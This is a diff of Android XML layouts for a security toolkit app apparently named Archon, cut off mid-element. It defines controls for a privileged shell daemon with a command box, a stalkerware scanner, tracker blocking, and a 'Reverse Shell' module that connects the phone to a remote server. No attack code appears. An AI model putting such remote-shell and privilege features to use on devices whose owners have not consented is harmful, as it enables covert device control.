<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON MODULES"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Server Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="16dp">
<View
android:id="@+id/server_status_dot"
android:layout_width="12dp"
android:layout_height="12dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/server_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Server: checking..."
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
<!-- ═══ Archon Server Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/archon_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Archon Server"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:id="@+id/archon_uid_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="UID 2000"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Privileged shell daemon — enables modules without root"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/archon_info_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Quick command -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_archon_cmd"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:hint="shell command..."
android:textColor="@color/text_primary"
android:textColorHint="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
android:inputType="text"
android:background="@color/surface_dark"
android:paddingStart="8dp"
android:paddingEnd="8dp"
android:singleLine="true" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_run"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="RUN"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
<!-- Server control buttons -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_info"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="INFO"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_ping"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PING"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_archon_packages"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="APPS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Protection Shield Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/shield_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Protection Shield"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Scan &amp; remove stalkerware"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Scan buttons row 1 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_full_scan"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="FULL SCAN"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_packages"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PACKAGES"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Scan buttons row 2 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_admins"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ADMINS"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_certs"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CERTS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_shield_scan_network"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="NETWORK"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Shield status -->
<TextView
android:id="@+id/shield_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Last: no scan run"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Tracking Honeypot Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/honeypot_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Tracking Honeypot"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Block trackers &amp; fake data"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Honeypot buttons row 1 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_harden"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="HARDEN ALL"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_reset_ad"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="RESET AD ID"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Honeypot buttons row 2 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_dns"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="PRIVATE DNS"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_restrict"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="RESTRICT"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_honeypot_revoke"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="REVOKE"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Honeypot status -->
<TextView
android:id="@+id/honeypot_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: idle"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Reverse Shell Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/revshell_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Reverse Shell"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="v1.0"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Remote shell to AUTARCH server"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- RevShell enable/disable row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_enable"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ENABLE"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="#FFFF6600" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_disable"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DISABLE"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- RevShell connect/disconnect/status row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_connect"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CONNECT"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_disconnect"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DISCONNECT"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_status"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="STATUS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- RevShell status -->
<TextView
android:id="@+id/revshell_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: Disabled"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Output Log ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="12dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Output:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/modules_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:minLines="8" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,310 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/settings_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Server Connection -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_connection"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_server_ip"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_server_ip"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_web_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_web_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Port Configuration -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/adb_configuration"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_adb_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_adb_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_usbip_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_usbip_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.materialswitch.MaterialSwitch
android:id="@+id/switch_settings_auto_restart"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/auto_restart_adb"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
app:thumbTint="@color/terminal_green"
app:trackTint="@color/terminal_green_dim" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Veilid BBS (Coming Soon) -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp"
android:alpha="0.6">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/bbs_configuration"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="COMING SOON"
android:textColor="@color/warning"
android:textSize="11sp"
android:textStyle="bold"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Veilid-based decentralized bulletin board for secure anonymous communication. Under development."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="@string/hint_bbs_address"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green"
android:enabled="false">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_bbs_address"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
android:enabled="false"
android:hint="Not yet available" />
</com.google.android.material.textfield.TextInputLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Auto-Detect -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_auto_detect"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:text="@string/auto_detect"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:icon="@android:drawable/ic_menu_search"
app:iconTint="@color/background"
app:cornerRadius="4dp" />
<!-- Actions -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="16dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_test_connection"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:layout_marginEnd="8dp"
android:text="@string/test_connection"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green_dim"
app:cornerRadius="4dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_save_settings"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/save_settings"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:cornerRadius="4dp" />
</LinearLayout>
<!-- Status -->
<TextView
android:id="@+id/settings_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="24dp" />
<!-- Logout -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_logout"
style="@style/Widget.MaterialComponents.Button.OutlinedButton"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="LOGOUT"
android:textColor="@color/danger"
android:fontFamily="monospace"
app:strokeColor="@color/danger"
app:cornerRadius="4dp" />
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,383 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON SETUP"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Privilege Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="16dp">
<View
android:id="@+id/privilege_status_dot"
android:layout_width="12dp"
android:layout_height="12dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/privilege_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Checking privileges..."
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
<!-- ═══ STEP 1: Wireless Debugging (Shizuku-style) ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="2dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="STEP 1: Wireless Debugging"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Self-contained ADB — no PC needed"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="1. Tap START PAIRING below\n2. A notification will appear\n3. Open Developer Options > Wireless Debugging\n4. Tap 'Pair with pairing code'\n5. Enter the code in Archon's notification"
android:textColor="@color/text_primary"
android:textSize="13sp"
android:fontFamily="monospace"
android:lineSpacingExtra="4dp"
android:layout_marginBottom="12dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_start_pairing"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="START PAIRING"
android:textColor="@color/background"
android:textSize="16sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<TextView
android:id="@+id/local_adb_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: not paired"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginTop="8dp" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ STEP 2: Archon Server ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="STEP 2: Archon Server"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Shell-level server (UID 2000) via app_process"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="12dp">
<View
android:id="@+id/archon_server_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/archon_server_status"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_primary"
android:textSize="13sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Modules (Shield, Honeypot, RevShell) run through\nthe Archon Server on localhost:17321."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:layout_marginBottom="12dp" />
<!-- Server buttons -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_start_archon_server"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="START SERVER"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_stop_archon_server"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="STOP SERVER"
android:textColor="@color/text_primary"
android:layout_marginStart="8dp"
android:enabled="false"
style="@style/Widget.Material3.Button.OutlinedButton"
app:strokeColor="@color/danger" />
</LinearLayout>
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_show_command"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="SHOW ADB COMMAND"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ ALT: USB via AUTARCH ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ALT: USB via AUTARCH"
android:textColor="@color/terminal_green"
